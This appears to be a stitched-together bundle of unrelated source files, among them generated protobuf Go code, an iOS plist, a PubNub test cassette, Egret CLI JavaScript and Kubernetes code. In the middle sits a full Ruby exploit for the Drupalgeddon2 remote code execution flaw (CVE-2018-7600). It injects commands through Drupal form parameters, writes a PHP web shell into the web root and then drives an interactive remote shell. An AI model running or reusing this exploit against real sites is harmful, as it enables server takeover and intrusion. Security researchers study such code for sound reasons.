// Code generated by protoc-gen-go. DO NOT EDIT.
// source: google/protobuf/any.proto

package any // import "github.com/golang/protobuf/ptypes/any"

import proto "github.com/golang/protobuf/proto"
import fmt "fmt"
import math "math"

// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf

// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package

// `Any` contains an arbitrary serialized protocol buffer message along with a
// URL that describes the type of the serialized message.
//
// Protobuf library provides support to pack/unpack Any values in the form
// of utility functions or additional generated methods of the Any type.
//
// Example 1: Pack and unpack a message in C++.
//
//     Foo foo = ...;
//     Any any;
//     any.PackFrom(foo);
//     ...
//     if (any.UnpackTo(&foo)) {
//       ...
//     }
//
// Example 2: Pack and unpack a message in Java.
//
//     Foo foo = ...;
//     Any any = Any.pack(foo);
//     ...
//     if (any.is(Foo.class)) {
//       foo = any.unpack(Foo.class);
//     }
//
//  Example 3: Pack and unpack a message in Python.
//
//     foo = Foo(...)
//     any = Any()
//     any.Pack(foo)
//     ...
//     if any.Is(Foo.DESCRIPTOR):
//       any.Unpack(foo)
//       ...
//
//  Example 4: Pack and unpack a message in Go
//
//      foo := &pb.Foo{...}
//      any, err := ptypes.MarshalAny(foo)
//      ...
//      foo := &pb.Foo{}
//      if err := ptypes.UnmarshalAny(any, foo); err != nil {
//        ...
//      }
//
// The pack methods provided by protobuf library will by default use
// 'type.googleapis.com/full.type.name' as the type URL and the unpack
// methods only use the fully qualified type name after the last '/'
// in the type URL, for example "foo.bar.com/x/y.z" will yield type
// name "y.z".
//
//
// JSON
// ====
// The JSON representation of an `Any` value uses the regular
// representation of the deserialized, embedded message, with an
// additional field `@type` which contains the type URL. Example:
//
//     package google.profile;
//     message Person {
//       string first_name = 1;
//       string last_name = 2;
//     }
//
//     {
//       "@type": "type.googleapis.com/google.profile.Person",
//       "firstName": <string>,
//       "lastName": <string>
//     }
//
// If the embedded message type is well-known and has a custom JSON
// representation, that representation will be embedded adding a field
// `value` which holds the custom JSON in addition to the `@type`
// field. Example (for message [google.protobuf.Duration][]):
//
//     {
//       "@type": "type.googleapis.com/google.protobuf.Duration",
//       "value": "1.212s"
//     }
//
type Any struct {
	// A URL/resource name whose content describes the type of the
	// serialized protocol buffer message.
	//
	// For URLs which use the scheme `http`, `https`, or no scheme, the
	// following restrictions and interpretations apply:
	//
	// * If no scheme is provided, `https` is assumed.
	// * The last segment of the URL's path must represent the fully
	//   qualified name of the type (as in `path/google.protobuf.Duration`).
	//   The name should be in a canonical form (e.g., leading "." is
	//   not accepted).
	// * An HTTP GET on the URL must yield a [google.protobuf.Type][]
	//   value in binary format, or produce an error.
	// * Applications are allowed to cache lookup results based on the
	//   URL, or have them precompiled into a binary to avoid any
	//   lookup. Therefore, binary compatibility needs to be preserved
	//   on changes to types. (Use versioned type names to manage
	//   breaking changes.)
	//
	// Schemes other than `http`, `https` (or the empty scheme) might be
	// used with implementation specific semantics.
	//
	TypeUrl string `protobuf:"bytes,1,opt,name=type_url,json=typeUrl,proto3" json:"type_url,omitempty"`
	// Must be a valid serialized protocol buffer of the above specified type.
	Value                []byte   `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"`
	XXX_NoUnkeyedLiteral struct{} `json:"-"`
	XXX_unrecognized     []byte   `json:"-"`
	XXX_sizecache        int32    `json:"-"`
}

func (m *Any) Reset()         { *m = Any{} }
func (m *Any) String() string { return proto.CompactTextString(m) }
func (*Any) ProtoMessage()    {}
func (*Any) Descriptor() ([]byte, []int) {
	return fileDescriptor_any_744b9ca530f228db, []int{0}
}
func (*Any) XXX_WellKnownType() string { return "Any" }
func (m *Any) XXX_Unmarshal(b []byte) error {
	return xxx_messageInfo_Any.Unmarshal(m, b)
}
func (m *Any) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
	return xxx_messageInfo_Any.Marshal(b, m, deterministic)
}
func (dst *Any) XXX_Merge(src proto.Message) {
	xxx_messageInfo_Any.Merge(dst, src)
}
func (m *Any) XXX_Size() int {
	return xxx_messageInfo_Any.Size(m)
}
func (m *Any) XXX_DiscardUnknown() {
	xxx_messageInfo_Any.DiscardUnknown(m)
}

var xxx_messageInfo_Any proto.InternalMessageInfo

func (m *Any) GetTypeUrl() string {
	if m != nil {
		return m.TypeUrl
	}
	return ""
}

func (m *Any) GetValue() []byte {
	if m != nil {
		return m.Value
	}
	return nil
}

func init() {
	proto.RegisterType((*Any)(nil), "google.protobuf.Any")
}

func init() { proto.RegisterFile("google/protobuf/any.proto", fileDescriptor_any_744b9ca530f228db) }

var fileDescriptor_any_744b9ca530f228db = []byte{
	// 185 bytes of a gzipped FileDescriptorProto
	0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x92, 0x4c, 0xcf, 0xcf, 0x4f,
	0xcf, 0x49, 0xd5, 0x2f, 0x28, 0xca, 0x2f, 0xc9, 0x4f, 0x2a, 0x4d, 0xd3, 0x4f, 0xcc, 0xab, 0xd4,
	0x03, 0x73, 0x84, 0xf8, 0x21, 0x52, 0x7a, 0x30, 0x29, 0x25, 0x33, 0x2e, 0x66, 0xc7, 0xbc, 0x4a,
	0x21, 0x49, 0x2e, 0x8e, 0x92, 0xca, 0x82, 0xd4, 0xf8, 0xd2, 0xa2, 0x1c, 0x09, 0x46, 0x05, 0x46,
	0x0d, 0xce, 0x20, 0x76, 0x10, 0x3f, 0xb4, 0x28, 0x47, 0x48, 0x84, 0x8b, 0xb5, 0x2c, 0x31, 0xa7,
	0x34, 0x55, 0x82, 0x49, 0x81, 0x51, 0x83, 0x27, 0x08, 0xc2, 0x71, 0xca, 0xe7, 0x12, 0x4e, 0xce,
	0xcf, 0xd5, 0x43, 0x33, 0xce, 0x89, 0xc3, 0x31, 0xaf, 0x32, 0x00, 0xc4, 0x09, 0x60, 0x8c, 0x52,
	0x4d, 0xcf, 0x2c, 0xc9, 0x28, 0x4d, 0xd2, 0x4b, 0xce, 0xcf, 0xd5, 0x4f, 0xcf, 0xcf, 0x49, 0xcc,
	0x4b, 0x47, 0xb8, 0xa8, 0x00, 0x64, 0x7a, 0x31, 0xc8, 0x61, 0x8b, 0x98, 0x98, 0xdd, 0x03, 0x9c,
	0x56, 0x31, 0xc9, 0xb9, 0x43, 0x8c, 0x0a, 0x80, 0x2a, 0xd1, 0x0b, 0x4f, 0xcd, 0xc9, 0xf1, 0xce,
	0xcb, 0x2f, 0xcf, 0x0b, 0x01, 0x29, 0x4d, 0x62, 0x03, 0xeb, 0x35, 0x06, 0x04, 0x00, 0x00, 0xff,
	0xff, 0x13, 0xf8, 0xe8, 0x42, 0xdd, 0x00, 0x00, 0x00,
}


#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k   ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#

require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'

# Settings - Proxy information (nil to disable)
proxy_addr = nil
proxy_port = 8080

# Settings - General
$useragent = "drupalgeddon2"
webshell = "s.php"
writeshell = true

# Settings - Payload (we could just be happy without this, but we can do better!)
#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# Function http_post <url> [post]
def http_post(url, payload="")
  uri = URI(url)
  request = Net::HTTP::Post.new(uri.request_uri)
  request.initialize_http_header({"User-Agent" => $useragent})
  request.body = payload
  return $http.request(request)
end

# Function gen_evil_url <cmd>
def gen_evil_url(evil, feedback=true)
  # PHP function to use (don't forget about disabled functions...)
  phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"

  #puts "[*] PHP cmd: #{phpmethod}" if feedback
  puts "[*] Payload: #{evil}" if feedback

  ## Check the version to match the payload
  # Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
  if $drupalverion.start_with?('8')
    # Method #1 - Drupal 8, mail, #post_render - response is 200
    url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil

    # Method #2 - Drupal 8,  timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
    #url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    #payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
  elsif $drupalverion.start_with?('7')
    # Method #3 - Drupal 7, name, #post_render - response is 200
    url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
    payload = "form_id=user_pass&_triggering_element_name=name"
  else
    puts "[!] Unsupported Drupal version"
    exit
  end

  # Drupal v7 needs an extra value from a form
  if $drupalverion.start_with?('7')
    response = http_post(url, payload)

    form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
    puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?

    #url = $target + "file/ajax/name/%23value/" + form_build_id
    url = $target + "?q=file/ajax/name/%23value/" + form_build_id
    payload = "form_build_id=" + form_build_id
  end

  return url, payload
end

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# Quick how to use
if ARGV.empty?
  puts "Usage: ruby drupalggedon2.rb <target>"
  puts "       ruby drupalgeddon2.rb https://example.com"
  exit
end
# Read in values
$target = ARGV[0]

# Check input for protocol
if not $target.start_with?('http')
  $target = "http://#{$target}"
end
# Check input for the end
if not $target.end_with?('/')
  $target += "/"
end

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# Banner
puts "[*] --==[::#Drupalggedon2::]==--"
puts "-"*80
puts "[*] Target : #{$target}"
puts "[*] Write? : Skipping writing web shell" if not writeshell
puts "-"*80

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)

# Use SSL/TLS if needed
if uri.scheme == "https"
  $http.use_ssl = true
  $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# Try and get version
$drupalverion = nil
# Possible URLs
url = [
  $target + "CHANGELOG.txt",
  $target + "core/CHANGELOG.txt",
  $target + "includes/bootstrap.inc",
  $target + "core/includes/bootstrap.inc",
]
# Check all
url.each do|uri|
  # Check response
  response = http_post(uri)

  if response.code == "200"
    puts "[+] Found  : #{uri} (#{response.code})"

    # Patched already?
    puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"

    # Try and get version from the file contents
    $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip

    # If not, try and get it from the URL
    $drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?

    # Done!
    break
  elsif response.code == "403"
    puts "[+] Found  : #{uri} (#{response.code})"

    # Get version from URL
    $drupalverion = uri.match(/core/)? "8.x" : "7.x"
  else
    puts "[!] MISSING: #{uri} (#{response.code})"
  end
end

# Feedback
if $drupalverion
  status = $drupalverion.end_with?('x')? "?" : "!"
  puts "[+] Drupal#{status}: #{$drupalverion}"
else
  puts "[!] Didn't detect Drupal version"
  puts "[!] Forcing Drupal v8.x attack"
  $drupalverion = "8.x"
end
puts "-"*80

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# Make a request, testing code execution
puts "[*] Testing: Code Execution"
# Generate a random string to see if we can echo it
random = (0...8).map { (65 + rand(26)).chr }.join
url, payload = gen_evil_url("echo #{random}")
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
  #result = JSON.pretty_generate(JSON[response.body])
  result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
  puts "[+] Result : #{result}"

  puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
else
  puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
  exit
end
puts "-"*80

# Location of web shell & used to signal if using PHP shell
webshellpath = nil
prompt = "drupalgeddon2"
# Possibles paths to try
paths = [
  "./",
  "./sites/default/",
  "./sites/default/files/",
]
# Check all
paths.each do|path|
  puts "[*] Testing: File Write To Web Root (#{path})"

  # Merge locations
  webshellpath = "#{path}#{webshell}"

  # Final command to execute
  cmd = "#{bashcmd} | tee #{webshellpath}"

  # Generate evil URLs
  url, payload = gen_evil_url(cmd)
  # Make the request
  response = http_post(url, payload)
  # Check result
  if response.code == "200" and not response.body.empty?
    # Feedback
    #result = JSON.pretty_generate(JSON[response.body])
    result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
    puts "[+] Result : #{result}"

    # Test to see if backdoor is there (if we managed to write it)
    response = http_post("#{$target}#{webshellpath}", "c=hostname")
    if response.code == "200" and not response.body.empty?
      puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
      break
    else
      puts "[!] Target is NOT exploitable. No write access here!"
    end
  else
    puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
  end
  webshellpath = nil
end if writeshell
puts "-"*80 if writeshell

if webshellpath
  # Get hostname for the prompt
  prompt = response.body.to_s.strip

  # Feedback
  puts "[*] Fake shell:   curl '#{$target}#{webshell}' -d 'c=whoami'"
elsif writeshell
  puts "[!] FAILED: Coudn't find writeable web path"
  puts "[*] Dropping back direct commands (expect an ugly shell!)"
end

# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")

# Forever loop
loop do
  # Default value
  result = "ERROR"

  # Get input
  command = Readline.readline("#{prompt}>> ", true).to_s

  # Exit
  break if command =~ /exit/

  # Blank link?
  next if command.empty?

  # If PHP shell
  if webshellpath
    # Send request
    result = http_post("#{$target}#{webshell}", "c=#{command}").body
  # Direct commands
  else
    url, payload = gen_evil_url(command, false)
    response = http_post(url, payload)
    if response.code == "200" and not response.body.empty?
      result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
    end
  end

  # Feedback
  puts result
end


---
http_interactions:
- request:
    method: get
    uri: http://ps.pndsn.com/v2/auth/audit/sub-key/sub-a-mock-key?auth=key&channel=demo&pnsdk=PubNub-Ruby/4.1.0&signature=zxDcoxKlyAvaeNvZ-W8i5DfEyQd2n_F-xrZtRbBAy4I=&timestamp=1464187176&uuid=ruby-test-uuid-client-one
    body:
      encoding: UTF-8
      string: ''
    headers:
      User-Agent:
      - HTTPClient/1.0 (2.8.0, ruby 2.3.0 (2015-12-25))
      Accept:
      - "*/*"
      Date:
      - Wed, 25 May 2016 14:39:36 GMT
  response:
    status:
      code: 200
      message: OK
    headers:
      Date:
      - Wed, 25 May 2016 14:39:36 GMT
      Content-Type:
      - text/javascript; charset=UTF-8
      Content-Length:
      - '177'
      Connection:
      - keep-alive
      Access-Control-Allow-Origin:
      - "*"
      Access-Control-Allow-Methods:
      - GET
      Access-Control-Allow-Headers:
      - Origin, X-Requested-With, Content-Type, Accept
      Cache-Control:
      - no-cache, no-store, must-revalidate
    body:
      encoding: UTF-8
      string: '{"message":"Success","payload":{"level":"user","subscribe_key":"sub-a-mock-key","channel":"demo","auths":{}},"service":"Access
        Manager","status":200}'
    http_version:
  recorded_at: Wed, 25 May 2016 14:39:36 GMT
recorded_with: VCR 3.0.1


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleDevelopmentRegion</key>
	<string>en</string>
	<key>CFBundleExecutable</key>
	<string>$(EXECUTABLE_NAME)</string>
	<key>CFBundleIdentifier</key>
	<string>org.reactjs.native.example.$(PRODUCT_NAME:rfc1034identifier)</string>
	<key>CFBundleInfoDictionaryVersion</key>
	<string>6.0</string>
	<key>CFBundleName</key>
	<string>$(PRODUCT_NAME)</string>
	<key>CFBundlePackageType</key>
	<string>APPL</string>
	<key>CFBundleShortVersionString</key>
	<string>1.0</string>
	<key>CFBundleSignature</key>
	<string>????</string>
	<key>CFBundleVersion</key>
	<string>1</string>
	<key>LSRequiresIPhoneOS</key>
	<true/>
	<key>UILaunchStoryboardName</key>
	<string>LaunchScreen</string>
	<key>UIRequiredDeviceCapabilities</key>
	<array>
		<string>armv7</string>
	</array>
	<key>UISupportedInterfaceOrientations</key>
	<array>
		<string>UIInterfaceOrientationPortrait</string>
		<string>UIInterfaceOrientationLandscapeLeft</string>
		<string>UIInterfaceOrientationLandscapeRight</string>
	</array>
	<key>UIViewControllerBasedStatusBarAppearance</key>
	<false/>
	<key>NSLocationWhenInUseUsageDescription</key>
	<string></string>
	<key>NSAppTransportSecurity</key>
	<!--See http://ste.vn/2015/06/10/configuring-app-transport-security-ios-9-osx-10-11/ -->
	<dict>
		<key>NSExceptionDomains</key>
		<dict>
			<key>localhost</key>
			<dict>
				<key>NSExceptionAllowsInsecureHTTPLoads</key>
				<true/>
			</dict>
		</dict>
	</dict>
</dict>
</plist>


fileFormatVersion: 2
guid: 0c15cb71ab56d4ee484fa0952ffaf36b
timeCreated: 1465222832
licenseType: Free
TrueTypeFontImporter:
  serializedVersion: 3
  fontSize: 16
  forceTextureCase: -2
  characterSpacing: 1
  characterPadding: 0
  includeFontData: 1
  fontNames: []
  fallbackFontReferences: []
  customCharacters:
  fontRenderingMode: 0
  ascentCalculationMode: 1
  userData:
  assetBundleName:
  assetBundleVariant:


/// <reference path="../lib/types.d.ts" />
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
    var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
    if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
    else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
    return c > 3 && r && Object.defineProperty(target, key, r), r;
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
    return new (P || (P = Promise))(function (resolve, reject) {
        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
        function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); }
        step((generator = generator.apply(thisArg, _arguments || [])).next());
    });
};
var __generator = (this && this.__generator) || function (thisArg, body) {
    var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
    return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
    function verb(n) { return function (v) { return step([n, v]); }; }
    function step(op) {
        if (f) throw new TypeError("Generator is already executing.");
        while (_) try {
            if (f = 1, y && (t = y[op[0] & 2 ? "return" : op[0] ? "throw" : "next"]) && !(t = t.call(y, op[1])).done) return t;
            if (y = 0, t) op = [0, t.value];
            switch (op[0]) {
                case 0: case 1: t = op; break;
                case 4: _.label++; return { value: op[1], done: false };
                case 5: _.label++; y = op[1]; op = [0]; continue;
                case 7: op = _.ops.pop(); _.trys.pop(); continue;
                default:
                    if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
                    if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
                    if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
                    if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
                    if (t[2]) _.ops.pop();
                    _.trys.pop(); continue;
            }
            op = body.call(thisArg, _);
        } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
        if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
    }
};
var utils = require("../lib/utils");
// import fileUtil = require('../lib/FileUtil');
var watch = require("../lib/watch");
var path = require("path");
var Build = require("./build");
var Server = require("../server/server");
var FileUtil = require("../lib/FileUtil");
var service = require("../service/index");
var os = require("os");
var Run = /** @class */ (function () {
    function Run() {
        this.initVersion = ""; //初始化的 egret 版本，如果版本变化了，关掉当前的进程
    }
    Run.prototype.execute = function () {
        return __awaiter(this, void 0, void 0, function () {
            var exitCode, target, _a, port;
            return __generator(this, function (_b) {
                switch (_b.label) {
                    case 0: return [4 /*yield*/, new Build().execute()];
                    case 1:
                        exitCode = _b.sent();
                        target = egret.args.target;
                        _a = target;
                        switch (_a) {
                            case "web": return [3 /*break*/, 2];
                            case "wxgame": return [3 /*break*/, 4];
                            case 'bricks': return [3 /*break*/, 6];
                        }
                        return [3 /*break*/, 8];
                    case 2: return [4 /*yield*/, utils.getAvailablePort(egret.args.port)];
                    case 3:
                        port = _b.sent();
                        this.initServer(port);
                        return [2 /*return*/, DontExitCode];
                    case 4: return [4 /*yield*/, runWxIde()];
                    case 5: return [2 /*return*/, (_b.sent())];
                    case 6: return [4 /*yield*/, runBricks()];
                    case 7: return [2 /*return*/, (_b.sent())];
                    case 8: return [2 /*return*/];
                }
            });
        });
    };
    Run.prototype.initServer = function (port) {
        egret.args.port = port;
        var addresses = utils.getNetworkAddress();
        if (addresses.length > 0) {
            egret.args.host = addresses[0];
        }
        var openWithBrowser = !egret.args.serverOnly;
        var server = new Server();
        var projectDir = egret.args.projectDir;
        server.use(Server.fileReader(projectDir));
        server.start(projectDir, port, this.wrapByParams(egret.args.startUrl), openWithBrowser);
        if (egret.args.serverOnly) {
            console.log("Url:" + this.wrapByParams(egret.args.startUrl));
        }
        else {
            console.log('\n');
            console.log("    " + utils.tr(10013, ''));
            console.log('\n');
            console.log('        ' + this.wrapByParams(egret.args.startUrl));
            for (var i = 1; i < addresses.length; i++) {
                console.log('        ' + this.wrapByParams(egret.args.getStartURL(addresses[i])));
            }
            console.log('\n');
        }
        if (egret.args.autoCompile) {
            console.log('    ' + utils.tr(10010));
            this.watchFiles(egret.args.srcDir);
            //this.watchFiles(egret.args.templateDir);
        }
        else if (!egret.args.serverOnly) {
            console.log('    ' + utils.tr(10012));
        }
    };
    Run.prototype.watchFiles = function (dir) {
        var _this = this;
        watch.createMonitor(dir, { persistent: true, interval: 2007, filter: function (f, stat) { return !f.match(/\.g(\.d)?\.ts/); } }, function (m) {
            m.on("created", function (f) { return _this.sendBuildCMD(f, "added"); })
                .on("removed", function (f) { return _this.sendBuildCMD(f, "removed"); })
                .on("changed", function (f) { return _this.sendBuildCMD(f, "modified"); });
        });
        watch.createMonitor(path.dirname(dir), {
            persistent: true, interval: 2007, filter: function (f, stat) {
                if (path.basename(f) == "egretProperties.json" || path.basename(f) == "tsconfig.json") {
                    return true;
                }
                else {
                    return false;
                }
            }
        }, function (m) {
            m.on("created", function (f) { return _this.shutDown(f, "added"); })
                .on("removed", function (f) { return _this.shutDown(f, "removed"); })
                .on("changed", function (f) { return _this.shutDown(f, "modified"); });
        });
    };
    Run.prototype.shutDown = function (file, type) {
        globals.log(10022, file);
        service.client.execCommand({
            path: egret.args.projectDir,
            command: "shutdown",
            option: egret.args
        }, function () { return process.exit(0); }, true);
    };
    Run.prototype.sendBuildCMD = function (file, type) {
        file = FileUtil.escapePath(file);
        egret.args[type] = [file];
        service.client.execCommand({ command: "build", path: egret.args.projectDir, option: egret.args }, function (cmd) {
            if (!cmd.exitCode)
                console.log('    ' + utils.tr(10011));
            else
                console.log('    ' + utils.tr(10014), cmd.exitCode);
            if (cmd.messages) {
                cmd.messages.forEach(function (m) { return console.log(m); });
            }
        });
    };
    Run.prototype.wrapByParams = function (url) {
        return url + this.genParams();
    };
    Run.prototype.genParams = function () {
        var result = "";
        var propertyFilePath = FileUtil.joinPath(egret.args.projectDir, "egretProperties.json");
        if (FileUtil.exists(propertyFilePath)) {
            var urlParams = JSON.parse(FileUtil.read(propertyFilePath)).urlParams;
            if (urlParams) {
                var hasParams = false;
                for (var key in urlParams) {
                    hasParams = true;
                    result += key + "=" + urlParams[key] + "&";
                }
                if (hasParams) {
                    result = "?" + result.substr(0, result.length - 1);
                }
            }
        }
        return result;
    };
    __decorate([
        utils.cache
    ], Run.prototype, "genParams", null);
    return Run;
}());
function runWxIde() {
    return __awaiter(this, void 0, void 0, function () {
        var wxPaths, _a, result, stdout_1, iconv, encoding, binaryEncoding, result2, stdout, stdoutArr, exePath, wxpath, projectPath, e_1;
        return __generator(this, function (_b) {
            switch (_b.label) {
                case 0:
                    wxPaths = [];
                    _a = os.platform();
                    switch (_a) {
                        case "darwin": return [3 /*break*/, 1];
                        case "win32": return [3 /*break*/, 3];
                    }
                    return [3 /*break*/, 5];
                case 1: return [4 /*yield*/, utils.executeCommand("defaults read com.tencent.wechat.devtools LastRunAppBundlePath")];
                case 2:
                    result = _b.sent();
                    if (result.stdout != '') {
                        stdout_1 = result.stdout.replace(/\n/g, "");
                        wxPaths = [FileUtil.joinPath(stdout_1, "/Contents/Resources/app.nw/bin/cli")];
                    }
                    // defaults read
                    wxPaths.push("/Applications/wechatwebdevtools.app/Contents/Resources/app.nw/bin/cli");
                    return [3 /*break*/, 5];
                case 3:
                    // defaults read
                    wxPaths = [
                        "C:\\Program Files (x86)\\Tencent\\微信web开发者工具\\cli.bat",
                        "C:\\Program Files\\Tencent\\微信web开发者工具\\cli.bat"
                    ];
                    iconv = require('../lib/iconv-lite');
                    encoding = 'cp936';
                    binaryEncoding = 'binary';
                    return [4 /*yield*/, utils.executeCommand('REG QUERY "HKLM\\SOFTWARE\\Wow6432Node\\Tencent\\微信web开发者工具"', { encoding: binaryEncoding })];
                case 4:
                    result2 = _b.sent();
                    stdout = iconv.decode(new Buffer(result2.stdout, binaryEncoding), encoding);
                    if (stdout != '') {
                        stdoutArr = stdout.split("\r\n");
                        exePath = stdoutArr.find(function (path) { return path.indexOf(".exe") != -1; });
                        exePath = exePath.split("  ").find(function (path) { return path.indexOf(".exe") != -1; });
                        exePath = path.join(path.dirname(exePath), 'cli.bat');
                        wxPaths.unshift(exePath);
                    }
                    return [3 /*break*/, 5];
                case 5:
                    wxpath = wxPaths.find(function (wxpath) { return FileUtil.exists(wxpath); });
                    if (!wxpath) return [3 /*break*/, 11];
                    projectPath = egret.args.projectDir;
                    projectPath = path.resolve(projectPath, "../", path.basename(projectPath) + "_wxgame");
                    _b.label = 6;
                case 6:
                    _b.trys.push([6, 8, , 10]);
                    return [4 /*yield*/, utils.shell(wxpath, ["-o", projectPath, "-f", "egret"], null, true)];
                case 7:
                    _b.sent();
                    return [3 /*break*/, 10];
                case 8:
                    e_1 = _b.sent();
                    return [4 /*yield*/, utils.shell(wxpath, ["-o", projectPath], null, true)];
                case 9:
                    _b.sent();
                    return [3 /*break*/, 10];
                case 10: return [3 /*break*/, 12];
                case 11: throw '请安装最新微信开发者工具';
                case 12: return [2 /*return*/, DontExitCode];
            }
        });
    });
}
function runBricks() {
    return __awaiter(this, void 0, void 0, function () {
        var projectPath;
        return __generator(this, function (_a) {
            switch (os.platform()) {
                case "darwin":
                    projectPath = egret.args.projectDir;
                    projectPath = path.resolve(projectPath, "../", path.basename(projectPath) + "_bricks", "PublicBrickEngineGame.xcodeproj");
                    utils.open(projectPath);
                    return [2 /*return*/, 0];
                    break;
                case "win32":
                    throw '目前玩一玩仅支持 MacOS 平台开发';
                    break;
            }
            return [2 /*return*/, 1];
        });
    });
}
module.exports = Run;


/*
Copyright 2017 The Kubernetes Authors.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package v1beta1

import "k8s.io/apimachinery/pkg/runtime"

func addDefaultingFuncs(scheme *runtime.Scheme) error {
	RegisterDefaults(scheme)
	return scheme.AddDefaultingFuncs(
		SetDefaults_CertificateSigningRequestSpec,
	)
}
func SetDefaults_CertificateSigningRequestSpec(obj *CertificateSigningRequestSpec) {
	if obj.Usages == nil {
		obj.Usages = []KeyUsage{UsageDigitalSignature, UsageKeyEncipherment}
	}
}


cli
===

[![Build Status](https://travis-ci.org/urfave/cli.svg?branch=master)](https://travis-ci.org/urfave/cli)
[![Windows Build Status](https://ci.appveyor.com/api/projects/status/rtgk5xufi932pb2v?svg=true)](https://ci.appveyor.com/project/urfave/cli)

[![GoDoc](https://godoc.org/github.com/urfave/cli?status.svg)](https://godoc.org/github.com/urfave/cli)
